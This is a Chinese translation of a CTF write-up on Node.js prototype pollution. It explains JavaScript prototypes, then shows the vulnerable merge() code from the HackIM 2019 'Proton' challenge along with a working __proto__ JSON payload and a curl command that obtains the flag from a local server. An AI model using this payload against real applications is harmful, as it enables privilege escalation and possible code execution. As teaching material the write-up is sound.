Node.js原型污染攻击的分析与利用

41yf1sh 技术 2019年3月5日发布
Favorite收藏

导语:原型污染攻击,顾名思义,就是污染基础对象的原型,有时将会导致远程代码执行。

概述

原型污染攻击,顾名思义,就是污染基础对象的原型,有时将会导致远程代码执行。原型污染攻击实际上是由Olivier Arteau完成的一项精彩的研究,他在NorthSec 2018会议中发表了一次演讲。接下来,让我们以Nullcon HackIm 2019 CTF竞赛中“Proton”挑战为例,深入了解这一攻击方式。

JavaScript中的对象

JavaScript中的对象只是一组键值对,其中每一对都被称为属性(Property)。我们举一个例子来说明,各位读者也可以使用浏览器控制台来自行尝试执行):

var obj = {
    "name": "0daylabs",
    "website": "blog.0daylabs.com"
}
 
obj.name;     // 打印"0daylabs"
obj.website; // 打印"blog.0daylabs.com"
console.log(obj);  // 打印整个对象及其所有属性

在上面的示例中,name和website是对象obj的属性。我们仔细查看最后一条语句,发现console.log会打印出比我们明确定义的属性更多的信息。那么,这些属性来自哪里呢?

对象是创建所有其他对象的一个基本基础对象。我们可以通过在对象创建期间传递参数null来创建一个空对象(没有任何属性),但是默认情况下,它会创建一个与其值对应类型的对象,并将所有属性继承到新创建的对象(除非其为null)。

console.log(Object.create(null)); // 打印一个空对象

JavaScript中的函数/类?

在JavaScript中,类和函数的概念是相对的。函数本身充当类的构造函数,并且自身没有明确的类。我们来举个例子。

function person(fullName, age) {
    this.age = age;
    this.fullName = fullName;
    this.details = function() {
        return this.fullName + " has age: " + this.age;
    }
}
 
console.log(person.prototype); // prints the prototype property of the function
 
/*
{constructor: ƒ}
    constructor: ƒ person(fullName, age)
    __proto__: Object
*/
 
var person1 = new person("Anirudh", 25);
var person2 = new person("Anand", 45);
 
console.log(person1);
 
/*
person {age: 25, fullName: "Anirudh"}
age: 45
fullName: "Anand"
__proto__:
    constructor: ƒ person(fullName, age)
        arguments: null
        caller: null
        length: 2
        name: "person"
    prototype: {constructor: ƒ}
    __proto__: ƒ ()
    [[FunctionLocation]]: VM134:1
    [[Scopes]]: Scopes[1]
__proto__: Object
*/
 
console.log(person2);
 
/*
person {age: 45, fullName: "Anand"}
age: 45
fullName: "Anand"
__proto__:
    constructor: ƒ person(fullName, age)
        arguments: null
        caller: null
        length: 2
        name: "person"
    prototype: {constructor: ƒ}
    __proto__: ƒ ()
    [[FunctionLocation]]: VM134:1
    [[Scopes]]: Scopes[1]
__proto__: Object
*/
 
person1.details(); // 打印"Anirudh has age: 25"

在上面的例子中,我们定义了一个名为person的函数,并创建了两个名为person1和person2的对象。如果我们看一下新创建的函数和对象的属性,我们可以注意到两件事:

1、创建函数时,JavaScript引擎包含函数的prototype属性。该prototype属性是一个对象(称为原型对象),默认情况下具有构造函数的属性,该属性指向原型对象作为属性的函数。

2、创建对象时,JavaScript引擎会将__proto__属性添加到新创建的对象中,该对象指向构造函数的原型对象。简而言之,object.__proto__指向function.prototype。

WTH是一个构造函数?

构造函数是一个魔法属性,它返回用于创建对象的函数。Prototype对象具有一个构造函数,它指向函数本身,构造函数的构造函数就是全局函数构造函数(Global Function Constructor)。

var person3 = new person("test", 55);
 
person3.constructor;  // prints the function "person" itself
 
person3.constructor.constructor; // prints ƒ Function() { [native code] }    <- Global Function constructor
 
person3.constructor.constructor("return 1");
 
/*
ƒ anonymous(
) {
return 1
}
*/
 
// Finally call the function
person3.constructor.constructor("return 1")();   // 返回1

JavaScript中的原型

这里需要注意的一点是,可以在运行时修改prototype属性,以添加/删除/编辑条目。例如:

function person(fullName, age) {
    this.age = age;
    this.fullName = fullName;
}
 
var person1 = new person("Anirudh", 25);
 
person.prototype.details = function() {
        return this.fullName + " has age: " + this.age;
    }
 
console.log(person1.details()); // 打印"Anirudh has age: 25"

我们所做的,是修改了函数的原型,来添加一个新属性。使用对象,可以实现相同的结果:

function person(fullName, age) {
    this.age = age;
    this.fullName = fullName;
}
 
var person1 = new person("Anirudh", 25);
var person2 = new person("Anand", 45);
 
// 使用person1对象
person1.constructor.prototype.details = function() {
        return this.fullName + " has age: " + this.age;
    }
 
console.log(person1.details()); // prints "Anirudh has age: 25"
 
console.log(person2.details()); // prints "Anand has age: 45" :O

有什么可疑之处吗?我们修改了person1对象,但为什么person2也受到了影响?在第一个例子中,我们直接修改了person.prototype,来添加一个新属性。在第二个例子中,我们的操作相同,但是使用了对象。我们已经看到,构造函数返回用于创建对象的函数,因此person1.constructor指向函数person本身,person1.constructor.prototype与person.prototype相同。

原型污染

我们举一个例子,obj[a][b] = value。如果攻击者可以控制a和value,那么他可以将a的值设置为__proto__,并且将为具有该值的应用程序的所有现有对象定义属性b。

实际的攻击过程并不像上面的描述那么简单。根据我们的研究,只有在以下任意一种情况发生时,才可以实现漏洞利用:

1、对象递归合并;

2、按照路径定义属性;

3、对象复制。

让我们来看看Nullcon HackIM的挑战题目,实战尝试这种攻击方式。挑战的一开始,是一个迭代的MongoDB ID,这非常简单,我们可以使用以下源代码:

'use strict';
 
const express = require('express');
const bodyParser = require('body-parser')
const cookieParser = require('cookie-parser');
const path = require('path');
 
 
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
 
function merge(a, b) {
    for (var attr in b) {
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
 
function clone(a) {
    return merge({}, a);
}
 
// Constants
const PORT = 8080;
const HOST = '0.0.0.0';
const admin = {};
 
// App
const app = express();
app.use(bodyParser.json())
app.use(cookieParser());
 
app.use('/', express.static(path.join(__dirname, 'views')));
app.post('/signup', (req, res) => {
    var body = JSON.parse(JSON.stringify(req.body));
    var copybody = clone(body)
    if (copybody.name) {
        res.cookie('name', copybody.name).json({
            "done": "cookie set"
        });
    } else {
        res.json({
            "error": "cookie not set"
        })
    }
});
app.get('/getFlag', (req, res) => {
    var аdmin = JSON.parse(JSON.stringify(req.cookies))
    if (admin.аdmin == 1) {
        res.send("hackim19{}");
    } else {
        res.send("You are not authorized");
    }
});
app.listen(PORT, HOST);
console.log(`Running on http://${HOST}:${PORT}`);

代码从定义函数合并开始,这实际上是合并两个对象的不安全设计。由于执行merge()最新版本的库已经被修补,因此该挑战明确地使用了旧的方法,合并之后恰好使其易受攻击。

我们可以在上面的代码中注意到,其中定义了2个管理员,分别是const admin和var admin。理想情况下,JavaScript不允许再次将const变量定义为var,因此二者必须不同。此前,研究人员花了很多时间,才弄清楚其中存在着同形异义词。因此,我们没有在这上面浪费时间,而是将其重命名为正常名称,并继续进行挑战。一旦解决难题,我们就可以对应地发送Payload。

因此,根据挑战中给出的源代码,我们的发现如下:

1、Merge()函数中,可能发生原型污染(我们将在后面详细分析)。因此,这确实是此挑战的一个突破口。

2、在通过clone(body)命中/注册时,会实际调用存在漏洞的函数,因此我们可以在注册时发送我们的JSON Payload,可以添加admin属性并立即调用/getFlag来获取标志。

3、如上所述,我们可以使用__proto__(指向constructor.prototype)来创建值为1的admin属性。

执行相同操作的最简单Payload是:

{"__proto__": {"admin": 1}}

因此,解决问题的最终Payload如下。在这里,我试用了curl,因为我无法通过Burp来发送同形异义词。

curl -vv --header 'Content-type: application/json' -d '{"__proto__": {"admin": 1}}' 'http://0.0.0.0:4000/signup'; curl -vv 'http://0.0.0.0:4000/getFlag'

Merge():为什么它容易受到攻击?

这里有一个显而易见的问题,就是为什么merge()函数会在这里存在漏洞呢?下面,我们将介绍该函数的工作原理,以及它易受攻击的原因。

1、该函数一开始会迭代第二个对象b上存在的所有属性,因为第二个对象被赋予优先级,具有相同的键值对。

2、如果属性存在于第一个和第二个参数上,并且它们都是Object类型,那么将会重新开始合并过程。

3、现在,如果我们可以控制b[attr]的值,使attr成为__proto__,同时假设我们可以控制b中proto属性内的值,那么在递归时,某个点的a[attr]实际上将指向原型对象a,我们可以成功地向所有对象添加新属性。

仍然感觉困惑?好吧,其实我也是花费了一些时间才理解了这个概念的。接下来,让我们编写一些调试语句,来弄清楚具体发生了什么。

const isObject = obj => obj && obj.constructor && obj.constructor === Object;
 
function merge(a, b) {
    console.log(b); // prints { __proto__: { admin: 1 } }
    for (var attr in b) {
        console.log("Current attribute: " + attr); // prints Current attribute: __proto__       
        if (isObject(a[attr]) && isObject(b[attr])) {
            merge(a[attr], b[attr]);
        } else {
            a[attr] = b[attr];
        }
    }
    return a
}
 
function clone(a) {
    return merge({}, a);
}

现在,让我们尝试发送上面提到的curl请求。我们可以注意到,对象b现在具有如下值:

{ __proto__: { admin: 1 } }

其中,__proto__只是一个属性名称,实际上并不指向函数原型。现在,在函数merge()中,for(b中的var attr)会遍历每个属性,其中的第一个属性名称现在是__proto__。

因为它始终是类型对象,因此会开始递归调用,这一次是merge(a[__proto__], b[__proto__])。这基本上帮助我们获取了a的函数原型,并添加了在b的proto属性中定义的新属性。

参考

[1] Olivier Arteau – Prototype pollution attacks in NodeJS applications

[2] Prototypes in javaScript

[3] MDN Web Docs – Object

本文翻译自:https://blog.0daylabs.com/2019/02/15/prototype-pollution-javascript/如若转载,请注明原文地址: https://www.4hou.com/technology/16328.html
点赞 4
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论